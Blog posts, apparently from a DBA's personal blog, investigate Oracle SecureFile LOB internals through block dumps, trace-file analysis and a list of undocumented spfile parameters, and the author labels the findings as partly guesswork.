Donnerstag, 31. August 2017

SecureFile LOB - the 1st insert

This blog post continues with all the objects and settings from SecureFile LOB - the empty table.

The insert of one row with a small (1byte) LOB increases the complexity.
berx.source_blobs contains some BLOBs of different size.
insert into berx.TEST_BLOBS
select 1, comments, file_content
from berx.source_blobs
where id=1; --1 byte

commit;

we have a new extent now


col owner for A10  
col segment_name for A30
select owner, segment_name, file_id, block_id, blocks
from dba_extents  
where owner='BERX'
  and segment_name='SYS_LOB0000454368C00003$$';  
OWNER      SEGMENT_NAME                      FILE_ID   BLOCK_ID     BLOCKS
---------- ------------------------------ ---------- ---------- ----------
BERX       SYS_LOB0000454368C00003$$               4     255360         16
BERX       SYS_LOB0000454368C00003$$               4     256512        128

The new extent has some new blocks:
ALTER SESSION SET TRACEFILE_IDENTIFIER = "ONE_BLOB_EXT2";  
alter system dump datafile 4 block min 256512 block max 257023;
grep -E 'Block dump from disk|buffer tsn|frmt' ONE_BLOB_EXT2.trc 
Block dump from disk:
buffer tsn: 4 rdba: 0x0103ea00 (4/256512)
frmt: 0x02 chkval: 0xf2bc type: 0x45=NGLOB: Lob Extent Header
Block dump from disk:
buffer tsn: 4 rdba: 0x0103ea01 (4/256513)
frmt: 0x02 chkval: 0x6d43 type: 0x3e=NGLOB: Committed Free Space
Block dump from disk:
buffer tsn: 4 rdba: 0x0103ea02 (4/256514)
frmt: 0x02 chkval: 0x6d41 type: 0x3e=NGLOB: Committed Free Space
Block dump from disk:
buffer tsn: 4 rdba: 0x0103ea03 (4/256515)
frmt: 0x02 chkval: 0x6d40 type: 0x3e=NGLOB: Committed Free Space
Block dump from disk:
buffer tsn: 4 rdba: 0x0103ea04 (4/256516)
frmt: 0x02 chkval: 0x6d47 type: 0x3e=NGLOB: Committed Free Space
Block dump from disk:
buffer tsn: 4 rdba: 0x0103ea05 (4/256517)
frmt: 0x02 chkval: 0xc593 type: 0x40=NGLOB: Persistent Undo
Block dump from disk:
buffer tsn: 4 rdba: 0x0103ea06 (4/256518)
frmt: 0x02 chkval: 0x641e type: 0x40=NGLOB: Persistent Undo
Block dump from disk:
... more Persistent Undo blocks ...
Block dump from disk:
buffer tsn: 4 rdba: 0x0103ea37 (4/256567)
frmt: 0x02 chkval: 0x6ae3 type: 0x06=trans data
Block dump from disk:
buffer tsn: 4 rdba: 0x0103ea38 (4/256568)
frmt: 0x02 chkval: 0x09a4 type: 0x06=trans data
Block dump from disk:
buffer tsn: 4 rdba: 0x0103ea39 (4/256569)
frmt: 0x02 chkval: 0xcef1 type: 0x06=trans data
Block dump from disk:
buffer tsn: 4 rdba: 0x0103ea3a (4/256570)
frmt: 0x02 chkval: 0x2928 type: 0x06=trans data
... many more trans data blocks ...
Block dump from disk:
buffer tsn: 4 rdba: 0x0103ea80 (4/256640)
frmt: 0x02 chkval: 0x6bb3 type: 0x45=NGLOB: Lob Extent Header
... many more trans data blocks ...
Block dump from disk:
buffer tsn: 4 rdba: 0x0103eb00 (4/256768)
frmt: 0x02 chkval: 0x6a33 type: 0x45=NGLOB: Lob Extent Header
... many more trans data blocks ...
Block dump from disk:
buffer tsn: 4 rdba: 0x0103eb80 (4/256896)
frmt: 0x02 chkval: 0x6ab3 type: 0x45=NGLOB: Lob Extent Header
... many more trans data blocks ...


1st NGLOB: Lob Extent Header

Block dump from disk:
buffer tsn: 4 rdba: 0x0103ea00 (4/256512)
scn: 0xa9c.1f0271f4 seq: 0x02 flg: 0x04 tail: 0x71f44502
frmt: 0x02 chkval: 0xf2bc type: 0x45=NGLOB: Lob Extent Header
Hex dump of block: st=0, typ_found=1
Dump of memory from 0x00007FDC79DC4800 to 0x00007FDC79DC6800
...
  Dump of Extent Header Block
  --------------------------------------------------------
  sdba: 0x0103ea01 len:127 flag:0x0 synctime:1504000457 updtime:1504000457
  objd:454499 inc:0 total:1 opcode:0 xid: 0x0000.000.00000000
  entry 0: sdba: 0x0103ea01 len:127 fdba: 0x00000000
  --------------------------------------------------------

In comparison to the Lob Extent Header of 1st extent this one has sdba: 0x0103ea01 - this points direct to the next block. But it's not of type  0x06=trans data but 0x3e=NGLOB: Committed Free Space. len:127 makes sense, as the next block (after 128 == 0x80) is again 0x45=NGLOB: Lob Extent Header. There is no data yet.


1st NGLOB: Committed Free Space

Block dump from disk:
buffer tsn: 4 rdba: 0x0103ea01 (4/256513)
scn: 0xa9c.1f0271f4 seq: 0x02 flg: 0x04 tail: 0x71f43e02
frmt: 0x02 chkval: 0x6d43 type: 0x3e=NGLOB: Committed Free Space
Hex dump of block: st=0, typ_found=1
Dump of memory from 0x00007FDC79DC4800 to 0x00007FDC79DC6800
...
  Dump of NGLOB: Uncommitted Free Space Block
  --------------------------------------------------------
FSB Header
--------------
objd:454499 inc:0 hdba:  0x0103e582 Rng:-1
 prev:  0x0103ea01  next:  0x0103ea01  edba:  0x0103ea00  head:  0x0103ea01
 Xid: 0x0000.000.00000000 Op:0
--------------
Free Space Chunk Summary
Inst:1 Minc:0 Maxc:0 Count:0 Tot:0 MAXC:0
UFS List
--------------
hba: points back to 0x0103e582 - the 1st NGLOB: Hash Bucket of UFS. prev:, next: and head: is the block itself.
The block seems empty.


2nd NGLOB: Committed Free Space

Block dump from disk:
buffer tsn: 4 rdba: 0x0103ea02 (4/256514)
scn: 0xa9c.1f0271f8 seq: 0x01 flg: 0x04 tail: 0x71f83e01
frmt: 0x02 chkval: 0x6d41 type: 0x3e=NGLOB: Committed Free Space
Hex dump of block: st=0, typ_found=1
Dump of memory from 0x00007FDC79DC4800 to 0x00007FDC79DC6800
...
  Dump of NGLOB: Uncommitted Free Space Block
  --------------------------------------------------------
FSB Header
--------------
objd:454499 inc:0 hdba:  0x0103e582 Rng:-1
 prev:  0x00000000  next:  0x00000000  edba:  0x0103ea00  head:  0x0103ea01
 Xid: 0x0000.000.00000000 Op:0
--------------
Free Space Chunk Summary
Inst:1 Minc:0 Maxc:0 Count:0 Tot:0 MAXC:0
UFS List
--------------
Is similar to previous block, prev: and next: are empty.

The next 2 Committed Free Space blocks are identical.

1st NGLOB: Persistent Undo

Block dump from disk:
buffer tsn: 4 rdba: 0x0103ea05 (4/256517)
scn: 0xa9c.1f027207 seq: 0x05 flg: 0x04 tail: 0x72074005
frmt: 0x02 chkval: 0xc593 type: 0x40=NGLOB: Persistent Undo
Hex dump of block: st=0, typ_found=1
Dump of memory from 0x00007FDC79DC4800 to 0x00007FDC79DC6800
...
  Dump of Persistent Undo Block
  --------------------------------------------------------
 Inst: 1 Objd:454499 Inc:3472328295419215872 SyncTime:3976733684276738505 Flag:0x1
 Total: 1 LoadTime:1504000457 Opcode:1 Xid: 0x01b3.01d.00002ca6
  --------------------------------------------------------
Chunk: dba: 0x103ea37: len: 73: Xid:  0x0000.000.00000000: Scn: 2708.1852084450: Flag: FREE: FBR: False
Unfortunately I don't know anything about this block, yet. LoadTime seems to be epoc again.

2nd NGLOB: Persistent UNDO

Block dump from disk:
buffer tsn: 4 rdba: 0x0103ea06 (4/256518)
scn: 0xa9c.1f027209 seq: 0x01 flg: 0x04 tail: 0x72094001
frmt: 0x02 chkval: 0x641e type: 0x40=NGLOB: Persistent Undo
Hex dump of block: st=0, typ_found=1
Dump of memory from 0x00007FDC79DC4800 to 0x00007FDC79DC6800
7FDC79DC4800 0000A240 0103EA06 1F027209 04010A9C  [@........r......]
7FDC79DC4810 0000641E 00000002 00000001 59A539C9  [.d...........9.Y]
7FDC79DC4820 00000000 59A539C9 00000005 00000001  [.....9.Y........]
7FDC79DC4830 00000001 001D01B3 00002CA6 0006EF63  [.........,..c...]
7FDC79DC4840 00000000 00000000 00000000 00000000  [................]
        Repeat 15 times
7FDC79DC4940 00000000 0103E58B 00000000 00000001  [................]
7FDC79DC4950 000301B3 00002C9B 1F027209 00000A9C  [.....,...r......]
7FDC79DC4960 00000002 0103E58C 00000000 00000004  [................]
7FDC79DC4970 00000000 00000000 6E6490E2 00000A94  [..........dn....]
7FDC79DC4980 00000000 00000000 00000000 00000000  [................]
        Repeat 486 times
7FDC79DC67F0 00000000 00000000 00000000 72094001  [.............@.r]
  Dump of Persistent Undo Block
  --------------------------------------------------------
 Inst: 1 Objd:454499 Inc:3472328295419215872 SyncTime:4120848872352594377 Flag:0x1
 Total: 2 LoadTime:1504000457 Opcode:1 Xid: 0x01b3.01d.00002ca6
  --------------------------------------------------------
Chunk: dba: 0x103e58b: len: 1: Xid:  0x01b3.003.00002c9b: Scn: 2716.520253961: Flag: IN USE: FBR: False
Chunk: dba: 0x103e58c: len: 4: Xid:  0x0000.000.00000000: Scn: 2708.1852084450: Flag: FREE: FBR: False

There are 50 such blocks - all looking similar, just no Chunk: dba: entries. This matches the PUA Batchsize: 50 from 1st extents NGLOB: Segment Header.

The trans data blocks are equal to the empty blocks in 1st extent.

The other NGLOB: Lob Extent Header have a sdba: which points to their following block and a len:127 - so they describe the next bunch of trans data blocks.


It's unclear why this extent is required right now as it does not hold any valuable data.
My assumption is the transaction (INSERT) I did - Every transaction on a LOB might require a NGLOB: Persistent Undo (even there is nothing to store in case of an insert). In the 2nd NGLOB: Persistent Undo in memory dump there I can see 0103E58B - the rba of 1st trans data.



Back to the insert:

To get some more information about a specific LOB I have a small script LOBMAP.sql
It gets the INODE of a LOB using DBMS_LOBUTIL.GETINODE. With this INODE it loops through all extents of this LOB, gets additional information with DBMS_LOBUTIL.GETLOBMAP and prints it.
In this context the extent is a chunk inside the LOB storage, not an extend (as in DBA_EXTENTS).

As DBMS_LOBUTIL is not documented, other sources are useful.


The LOB in the table is quite small, so there is only 1 LOB extent:
ROWID   = AABu7gAAEAAA+N7AAA
ROWNUM  = 1
LOBID   = 00000001000099BF1091
EXTENT# = 0
HOLE?   = n
Superchunk cont? = n
Overallocation  = n
rdba   = 17032587 - 0x  103E58B
File   = 4
Block  = 255371
nblks  = 1
offset = 0
length = 1
---
ROWID and ROWNUM are information about the table row - they are more a reference to the row than a property of the LOB. The LOBID uniquely identifies the LOB.  EXTENT# is the number of (LOB) extent - in case the LOB does not fit in a single extent. rdba points to the block where this extent starts. the length is 1 - as it's a 1 byte BLOB.

The blocks in the first extent changed as follows.
ALTER SESSION SET TRACEFILE_IDENTIFIER = "ONE_BLOB";  
alter system dump datafile 4 block min 255360 block max 255375;

The NGLOB: Lob Extent Header did not change.

NGLOB: Segment Header

is different than before:

Block dump from disk:
buffer tsn: 4 rdba: 0x0103e581 (4/255361)
scn: 0xa9c.1f027207 seq: 0x01 flg: 0x04 tail: 0x72073f01
frmt: 0x02 chkval: 0x3306 type: 0x3f=NGLOB: Segment Header
Hex dump of block: st=0, typ_found=1
...
NGLOB Segment Header
  Extent Control Header
  -----------------------------------------------------------------
  Extent Header:: spare1: 0      spare2: 0      #extents: 2      #blocks: 144
                  last map  0x00000000  #maps: 0      offset: 8168
      Highwater::  0x0103ea80  ext#: 1      blk#: 128    ext size: 128
  #blocks in seg. hdr's freelists: 0
  #blocks below: 144
  mapblk  0x00000000  offset: 1
                   Unlocked
     Map Header:: next  0x00000000  #extents: 2    obj#: 454499 flag: 0x40000000
  Extent Map
  -----------------------------------------------------------------
   0x0103e580  length: 16
   0x0103ea00  length: 128

  ---------------
CFS hbbcnt:7 hbbmx:7 Mxrng:7 UFS hbbcnt:2 PUA cnt:1 Flag:2
Segment Stats
-------------
Retention: -1
Free Space: 133
PUA Batchsize: 50
UFS Array
---------
DBA: 0x0103e582 Inst:1
DBA: 0x0103e583 Inst:1
Ufs off:152 sz:512
CFS Array
---------
Range: 0 DBA: 0x0103e584
Range: 1 DBA: 0x0103e585
Range: 2 DBA: 0x0103e586
Range: 3 DBA: 0x0103e587
Range: 4 DBA: 0x0103e588
Range: 5 DBA: 0x0103e589
Range: 6 DBA: 0x0103e58a
Cfs off:664 sz:576
PUA Array
---------
DBA: 0x0103ea05 Inst:1
pua off:1240 sz:8
  --------------------------------------------------------
Of course scn: changed. seq: changed from 0x04 to 0x01 ( it's the 1st change in this scn). #extents: and #blocks: changed to reflect the new extent.
Highwater:: now points to the 2nd NGLOB: Lob Extent Header in 2nd extent. #blocks below: changed from 16 to 144. There is a 2nd entry in Extent Map now. PUA cnt: is 1 - so there is 1 Undo Array available.
In the PUA Array there is the 1st NGLOB: Persistent Undo referenced.

NGLOB: Hash Bucket

Block dump from disk:
buffer tsn: 4 rdba: 0x0103e582 (4/255362)
scn: 0xa9c.1f027204 seq: 0x02 flg: 0x04 tail: 0x72043d02
frmt: 0x02 chkval: 0x4368 type: 0x3d=NGLOB: Hash Bucket
Hex dump of block: st=0, typ_found=1
Dump of memory from 0x00007F381BADB800 to 0x00007F381BADD800
...
  Dump of Hash Bucket Block
  --------------------------------------------------------
Hash Bucket Header Dump
Inst:1 Flag:2 Total:0 FSG_COUNT:1 OBJD:454499 Inc:0
 fsg_count:1
Head:0x 0x0103ea01  Tail:0x 0x0103ea01
 Opcdode:1 Locker Xid: 0x01b3.008.00002c95
Fsbdba: 0x103ea01    Fbrdba: 0x0
Head Cache Entries
-------------------
Head: 0 fsg_db:  0x0103ea01
-------------------
Tail Cache Entries
-------------------
Tail: 0 fsg_db:  0x0103ea01
-------------------
Free Space Chunk Summary
Inst:0 Minc:0 Maxc:0 Count:0 Tot:0 MAXC:0
UFS List
--------------
  --------------------------------------------------------

In comparison to previous block, Flag: changed from 6 to 2. (for whatever reason)
FSG_COUNT: increased from 0 to 1. Not sure what FSG stands for, but it seems to be related to Free Space [whatever?].  Opcdode: increased from 0 to 1 and Xid: does contain a real transaction ID now.  Fsbdba: and the Head Cache Entries points to the 1st NGLOB: Committed Free Space of 2nd extent (which pointed to this block as well).
Still the UFS List is empty.

All the other NGLOB: Hash Buckets - both IFS and CFS - are equal to before.

trans data

the block with the LOB of the 1st row:
Block dump from disk:
buffer tsn: 4 rdba: 0x0103e58b (4/255371)
scn: 0xa9c.1f027209 seq: 0x02 flg: 0x04 tail: 0x72090602
frmt: 0x02 chkval: 0x1e84 type: 0x06=trans data
Hex dump of block: st=0, typ_found=1
Dump of memory from 0x00007F381BADB800 to 0x00007F381BADD800
7F381BADB800 0000A206 0103E58B 1F027209 04020A9C  [.........r......]
7F381BADB810 00001E84 00000005 0006EF63 1F027209  [........c....r..]
7F381BADB820 00000A9C 00220001 FFFFFFFF 000301B3  [......".........]
7F381BADB830 00002C9B 00000000 00000000 00004000  [.,...........@..]
7F381BADB840 00000000 00000000 00000000 1F027209  [.............r..]
7F381BADB850 00200A9C 01000000 BF990000 00009110  [.. .............]
7F381BADB860 00000000 00000000 00000000 00000000  [................]
7F381BADB870 00000000 00000000 00000000 00000001  [................]
7F381BADB880 85ED8C41 1A98D5F8 34C25268 EE84234D  [A.......hR.4M#..]
7F381BADB890 215E09F4 85AA94A7 5B51EEDA D1D0A149  [..^!......Q[I...]
...
7F381BADD7F0 291DF1A5 CEEDA316 EE84DB30 72090602  [...)....0......r]
Block header dump:  0x0103e58b
 Object id on Block? Y
 seg/obj: 0x6ef63  csc: 0xa9c.1f027209  itc: 1  flg: E  typ: 5 - LOCAL LOBS
     fsl: 0  fnx: 0xffffffff ver: 0x01

 Itl           Xid                  Uba         Flag  Lck        Scn/Fsc
0x01   0x01b3.003.00002c9b  0x00000000.0000.00  -B--    0  fsc 0x0000.00000000
========
bdba    [0x0103e58b]
kdlich  [0x7f381badb84c 56]
  flg0  0x20 [ver=0 typ=data lock=n]
  flg1  0x00
  scn   0x0a9c.1f027209
  lid   00000001000099bf1091
  rid   0x00000000.0000
kdlidh  [0x7f381badb864 24]
  flg2  0x00 [ver=0 lid=short-rowid hash=n cmap=n pfill=n]
  flg3  0x00
  pskip 0
  sskip 0
  hash  0000000000000000000000000000000000000000
  hwm   1
  spr   0
  data  [0x7f381badb880 52 8060]
41 8c ed 85 f8 d5 98 1a 68 52 c2 34 4d 23 84 ee f4 09 5e 21 a7 94 aa 85 da ee
51 5b 49 a1 d0 d1 38 e1 62 9d a1 8b 29 31 c7 c5 d6 d8 48 c3 2f 66 09 15 3a 8c
...

In this block, in the header csc:, Xid and scn changed. The hwm is 1 now (was 8060 before).
The 1st byte of data is 41 - ASCII for A - that's the content of my 1 byte file.
This block really contains the LOB. lid has the same value (just lowercase) as LOBID in the table row - so it's an indirect pointer back to the row it belongs to.

Unfortunately I did not find any indication which shows the block is used now (in comparison to previous dump) - any hint is very welcome!

Mittwoch, 30. August 2017

SecureFile LOB - spfile parameters

Here is a list of all the spfile parameters I found (and guess are) related to SecureFile LOBs.

This Post will be updated with additional information whenever I collect them.



Parameter

Default value

Description

_dbfs_modify_implicit_fetch

TRUE 12.1.0.2

DBFS Link allows implicit fetch on modify - only on SecureFiles

_enable_securefile_flashback_opt

FALSE 12.1.0.2

Enable securefile flashback optimization

_kdli_STOP_bsz

0 12.1.0.2

undocumented parameter for internal use only

_kdli_STOP_dba

0 12.1.0.2

undocumented parameter for internal use only

_kdli_STOP_fsz

0 12.1.0.2

undocumented parameter for internal use only

_kdli_STOP_nio

0 12.1.0.2

undocumented parameter for internal use only

_kdli_STOP_tsn

0 12.1.0.2

undocumented parameter for internal use only

_kdli_allow_corrupt

TRUE 12.1.0.2

allow corrupt filesystem_logging data blocks during read/write

_kdli_buffer_inject

TRUE 12.1.0.2

use buffer injection for CACHE [NO]LOGGING lobs

_kdli_cache_inode

TRUE 12.1.0.2

cache inode state across calls

_kdli_cache_read_threshold

0 12.1.0.2

minimum lob size for cache->nocache read (0 disables heuristic)

_kdli_cache_size

8 12.1.0.2

maximum #entries in inode cache

_kdli_cache_verify

FALSE 12.1.0.2

verify cached inode via deserialization

_kdli_cache_write_threshold

0 12.1.0.2

minimum lob size for cache->nocache write (0 disables heuristic)

_kdli_cacheable_length

0 12.1.0.2

minimum lob length for inode cacheability

_kdli_checkpoint_flush

FALSE 12.1.0.2

do not invalidate cache buffers after write

_kdli_dbc

none 12.1.0.2

override db_block_checking setting for securefiles

_kdli_delay_flushes

TRUE 12.1.0.2

delay flushing cache writes to direct-write lobs

_kdli_descn_adj

FALSE 12.1.0.2

coalesce extents with deallocation scn adjustment

_kdli_flush_cache_reads

FALSE 12.1.0.2

flush cache-reads data blocks after load

_kdli_flush_injections

TRUE 12.1.0.2

flush injected buffers of CACHE NOLOGGING lobs before commit

_kdli_force_cr

TRUE 12.1.0.2

force CR when reading data blocks of direct-write lobs

_kdli_force_cr_meta

TRUE 12.1.0.2

force CR when reading metadata blocks of direct-write lobs

_kdli_force_storage

none 12.1.0.2

force storage settings for all lobs

_kdli_full_readahead_threshold

0 12.1.0.2

maximum lob size for full readahead

_kdli_inject_assert

0 12.1.0.2

inject asserts into the inode

_kdli_inject_batch

0 12.1.0.2

buffer injection batch size [1, KCBNEWMAX]

_kdli_inject_crash

0 12.1.0.2

inject crashes into the inode

_kdli_inline_xfm

TRUE 12.1.0.2

allow inline transformed lobs

_kdli_inode_preference

data 12.1.0.2

inline inode evolution preference (data, headless, lhb)

_kdli_inplace_overwrite

0 12.1.0.2

maximum inplace overwrite size (> chunksize)

_kdli_itree_entries

0 12.1.0.2

#entries in lhb/itree blocks (for testing only)

_kdli_memory_protect

FALSE 12.1.0.2

trace accesses to inode memory outside kdli API functions

_kdli_mts_so

TRUE 12.1.0.2

use state objects in shared server for asyncIO pipelines

_kdli_oneblk

FALSE 12.1.0.2

allocate chunks as single blocks

_kdli_preallocation_mode

length 12.1.0.2

preallocation mode for lob growth

_kdli_preallocation_pct

0 12.1.0.2

percentage preallocation [0 .. inf) for lob growth

_kdli_ralc_length

10485760 12.1.0.2

lob length threshold to trigger rounded allocations

_kdli_ralc_rounding

1048576 12.1.0.2

rounding granularity for rounded allocations

_kdli_rci_lobmap_entries

255 12.1.0.2

#entries in RCI lobmap before migration to lhb

_kdli_readahead_limit

0 12.1.0.2

shared/cached IO readahead limit

_kdli_readahead_strategy

contig 12.1.0.2

shared/cached IO readahead strategy

_kdli_recent_scn

FALSE 12.1.0.2

use recent (not dependent) scns for block format/allocation

_kdli_reshape

FALSE 12.1.0.2

reshape an inode to inline or headless on length truncation

_kdli_safe_callbacks

TRUE 12.1.0.2

invoke inode read/write callbacks safely

_kdli_sio_async

TRUE 12.1.0.2

asynchronous shared IO

_kdli_sio_backoff

FALSE 12.1.0.2

use exponential backoff when attempting SIOP allocations

_kdli_sio_bps

0 12.1.0.2

maximum blocks per IO slot

_kdli_sio_dop

2 12.1.0.2

degree-of-parallelism in the SIO keep pool

_kdli_sio_fbwrite_pct

35 12.1.0.2

percentage of buffer used for direct writes in flashback-db

_kdli_sio_fgio

TRUE 12.1.0.2

reap asynchronous IO in the foreground

_kdli_sio_fileopen

none 12.1.0.2

shared IO fileopen mode: datasync vs nodatasync vs async

_kdli_sio_flush

FALSE 12.1.0.2

enable shared IO pool operations

_kdli_sio_free

TRUE 12.1.0.2

free IO buffers when not in active use

_kdli_sio_min_read

0 12.1.0.2

shared IO pool read threshold

_kdli_sio_min_write

0 12.1.0.2

shared IO pool write threshold

_kdli_sio_nbufs

8 12.1.0.2

maximum #IO buffers to allocate per session

_kdli_sio_niods

8 12.1.0.2

maximum #IO descriptors to allocate per session

_kdli_sio_on

TRUE 12.1.0.2

enable shared IO pool operations

_kdli_sio_pga

FALSE 12.1.0.2

use PGA allocations for direct IO

_kdli_sio_pga_top

FALSE 12.1.0.2

PGA allocations come from toplevel PGA heap

_kdli_sio_strategy

extent 12.1.0.2

shared IO strategy: block vs. extent

_kdli_sio_write_pct

100 12.1.0.2

percentage of buffer used for direct writes

_kdli_small_cache_limit

32 12.1.0.2

size limit of small inode cache

_kdli_sort_dbas

FALSE 12.1.0.2

sort dbas during chunkification

_kdli_space_cache_limit

2048 12.1.0.2

maximum #blocks in per-segment space cache

_kdli_space_cache_segments

16 12.1.0.2

#segments in space cache

_kdli_squeeze

TRUE 12.1.0.2

compact lobmap extents with contiguous dbas

_kdli_timer_dmp

FALSE 12.1.0.2

dump inode timers on session termination

_kdli_timer_trc

FALSE 12.1.0.2

trace inode timers to uts/tracefile

_kdli_trace

0 12.1.0.2

inode trace level

_kdli_vll_direct

TRUE 12.1.0.2

use skip-navigation and direct-positioning in vll-domain

_kdlxp_dedup_hash_algo

SHA1 12.1.0.2

secure hash algorithm for deduplication - only on SecureFiles

_kdlxp_lobcmpadp

FALSE 12.1.0.2

enable adaptive compression - only on SecureFiles

_kdlxp_lobcmplevel

2 12.1.0.2

Default securefile compression

_kdlxp_lobcmprciver

1 12.1.0.2

Default securefile compression map version

_kdlxp_lobcompress

FALSE 12.1.0.2

enable lob compression - only on SecureFiles

_kdlxp_lobdeduplicate

FALSE 12.1.0.2

enable lob deduplication - only on SecureFiles

_kdlxp_lobdedupvalidate

TRUE 12.1.0.2

enable deduplicate validate - only on SecureFiles

_kdlxp_lobencrypt

FALSE 12.1.0.2

enable lob encryption - only on SecureFiles

_kdlxp_mincmp

20 12.1.0.2

minimum comp ratio in pct - only on SecureFiles

_kdlxp_mincmplen

200 12.1.0.2

minimum loblen to compress - only on SecureFiles

_kdlxp_uncmp

FALSE 12.1.0.2

lob data uncompressed - only on SecureFiles

_kdlxp_xfmcache

TRUE 12.1.0.2

enable xfm cache - only on SecureFiles

_securefile_log_num_latches

0 12.1.0.2

Maximum number of open descriptors for securefile log

_securefile_log_shared_pool_size

0 12.1.0.2

Size of securefile log buffer pool from SGA

_securefile_timers

FALSE 12.1.0.2

collect kdlu timers and accumulate per layers

_securefiles_breakreten_retry

5 12.1.0.2

segment retry before dishonoring retention

_securefiles_bulkinsert

FALSE 12.1.0.2

securefiles segment insert only optization

_securefiles_concurrency_estimate

12 12.1.0.2

securefiles concurrency estimate

_securefiles_fg_retry

100 12.1.0.2

segment retry before foreground waits

_securefiles_forceflush

FALSE 12.1.0.2

securefiles force flush before allocation

_securefiles_memory_percentofSGA

8 12.1.0.2

securefiles memory as percent of SGA

_securefiles_spcutl

FALSE 12.1.0.2

securefiles segment utl optimization

_sf_default_enabled

TRUE 12.1.0.2

enable 12g securefile default

db_securefile

ALWAYS 12.1.0.2

permit securefile storage during lob creation


_kdli_trace

Seems to be a bitmap of flags.
the only value visible in MOS is
alter session set "_kdli_trace"=257;
Also used together with
alter session set "_securefile_timers"=true;
alter session set "_kdli_timer_dmp"=true;
alter session set events '10046 trace name context forever,level 12';
alter session set events '45050 trace name context forever, level  2056';
-- Event 45050 level 0x808 (Space event)
Bug 17283676 : MOVE LOB EXTREMELY SLOW

_securefiles_concurrency_estimate


Securefiles DMLs cause high 'buffer busy waits' & 'enq: TX - contention' wait events leading to whole database performance degradation (Doc ID 1532311.1)

Dienstag, 29. August 2017

SecureFile LOB - the empty table

I have to dig into structures of SecureFile LOBs right now. Unfortunately I do not find a lot of resources available, so I have to investigate at my own.
This post is to document my findings. There is a lot of guesswork and interpretation here, so be careful if you use or refer to any information here.

The whole testcase is on 12.1.0.2.170418 BundlePatch EE, Linux, 2 node RAC.

I start with a simple test table:
create table test_blobs (
        id              number(5),
  comments        varchar2(80),
        file_content    blob
) 
SEGMENT CREATION IMMEDIATE 
NOCOMPRESS 
NOPARALLEL 
TABLESPACE  USERS
lob (file_content) store as SECUREFILE(
        disable storage in row
        chunk 16K
        tablespace users
)
;

let's get the LOB segment:

col column_name for A20
col segment_name for A30
SELECT column_name, segment_name
FROM DBA_LOBS
where owner='BERX' 
  and table_name='TEST_BLOBS';

COLUMN_NAME          SEGMENT_NAME                  
-------------------- ------------------------------
FILE_CONTENT         SYS_LOB0000454368C00003$$     

and it's extent:

col owner for A10  
col segment_name for A30
select owner, segment_name, file_id, block_id, blocks
from dba_extents  
where owner='BERX'
  and segment_name='SYS_LOB0000454368C00003$$';  
  
OWNER      SEGMENT_NAME                      FILE_ID   BLOCK_ID     BLOCKS
---------- ------------------------------ ---------- ---------- ----------
BERX       SYS_LOB0000454368C00003$$               4     255360         16  

this segment only has 16 blocks, so it should be easy to have a look at it:

ALTER SESSION SET TRACEFILE_IDENTIFIER = "EMPTY_BLOB";  
alter system dump datafile 4 block min 255360 block max 255375;

What different blocktypes are there:
grep -E 'Block dump from disk|buffer tsn|frmt' EMPTY_BLOB.trc
Block dump from disk:
buffer tsn: 4 rdba: 0x0103e580 (4/255360)
frmt: 0x02 chkval: 0xfec6 type: 0x45=NGLOB: Lob Extent Header
Block dump from disk:
buffer tsn: 4 rdba: 0x0103e581 (4/255361)
frmt: 0x02 chkval: 0x12dd type: 0x3f=NGLOB: Segment Header
Block dump from disk:
buffer tsn: 4 rdba: 0x0103e582 (4/255362)
frmt: 0x02 chkval: 0x86ba type: 0x3d=NGLOB: Hash Bucket
Block dump from disk:
buffer tsn: 4 rdba: 0x0103e583 (4/255363)
frmt: 0x02 chkval: 0x86bb type: 0x3d=NGLOB: Hash Bucket
Block dump from disk:
buffer tsn: 4 rdba: 0x0103e584 (4/255364)
frmt: 0x02 chkval: 0x86be type: 0x3d=NGLOB: Hash Bucket
Block dump from disk:
buffer tsn: 4 rdba: 0x0103e585 (4/255365)
frmt: 0x02 chkval: 0xbb23 type: 0x3d=NGLOB: Hash Bucket
Block dump from disk:
buffer tsn: 4 rdba: 0x0103e586 (4/255366)
frmt: 0x02 chkval: 0x86be type: 0x3d=NGLOB: Hash Bucket
Block dump from disk:
buffer tsn: 4 rdba: 0x0103e587 (4/255367)
frmt: 0x02 chkval: 0x86be type: 0x3d=NGLOB: Hash Bucket
Block dump from disk:
buffer tsn: 4 rdba: 0x0103e588 (4/255368)
frmt: 0x02 chkval: 0x86b6 type: 0x3d=NGLOB: Hash Bucket
Block dump from disk:
buffer tsn: 4 rdba: 0x0103e589 (4/255369)
frmt: 0x02 chkval: 0x86b6 type: 0x3d=NGLOB: Hash Bucket
Block dump from disk:
buffer tsn: 4 rdba: 0x0103e58a (4/255370)
frmt: 0x02 chkval: 0x86b6 type: 0x3d=NGLOB: Hash Bucket
Block dump from disk:
buffer tsn: 4 rdba: 0x0103e58b (4/255371)
frmt: 0x02 chkval: 0x54e9 type: 0x06=trans data
Block dump from disk:
buffer tsn: 4 rdba: 0x0103e58c (4/255372)
frmt: 0x02 chkval: 0x91be type: 0x06=trans data
Block dump from disk:
buffer tsn: 4 rdba: 0x0103e58d (4/255373)
frmt: 0x02 chkval: 0x3ba9 type: 0x06=trans data
Block dump from disk:
buffer tsn: 4 rdba: 0x0103e58e (4/255374)
frmt: 0x02 chkval: 0x7817 type: 0x06=trans data
Block dump from disk:
buffer tsn: 4 rdba: 0x0103e58f (4/255375)
frmt: 0x02 chkval: 0x3418 type: 0x06=trans data

Let's go into detail of these blocks:

NGLOB: Lob Extent Header

Block dump from disk:
buffer tsn: 4 rdba: 0x0103e580 (4/255360)
scn: 0xa9c.1cf87e98 seq: 0x02 flg: 0x04 tail: 0x7e984502
frmt: 0x02 chkval: 0xfec6 type: 0x45=NGLOB: Lob Extent Header
Hex dump of block: st=0, typ_found=1
Dump of memory from 0x00007F6247D60800 to 0x00007F6247D62800
7F6247D60800 0000A245 0103E580 1CF87E98 04020A9C  [E........~......]
7F6247D60810 0000FEC6 0103E58B 00000005 00000000  [................]
7F6247D60820 59A53020 59A53020 00000000 00000000  [ 0.Y 0.Y........]
7F6247D60830 00000000 0006EF63 00000000 00000001  [....c...........]
7F6247D60840 0103E58B 00000005 00000000 00000000  [................]
7F6247D60850 00000000 00000000 00000000 00000000  [................]
        Repeat 505 times
7F6247D627F0 00000000 00000000 00000000 7E984502  [.............E.~]
  Dump of Extent Header Block
  --------------------------------------------------------
  sdba: 0x0103e58b len:5 flag:0x0 synctime:1503997984 updtime:1503997984
  objd:454499 inc:0 total:1 opcode:0 xid: 0x0000.000.00000000
  entry 0: sdba: 0x0103e58b len:5 fdba: 0x00000000
  --------------------------------------------------------

There is some information already:
sdbaI don't know what this stands for, but it points to the 1st block of type 0x06=trans data.
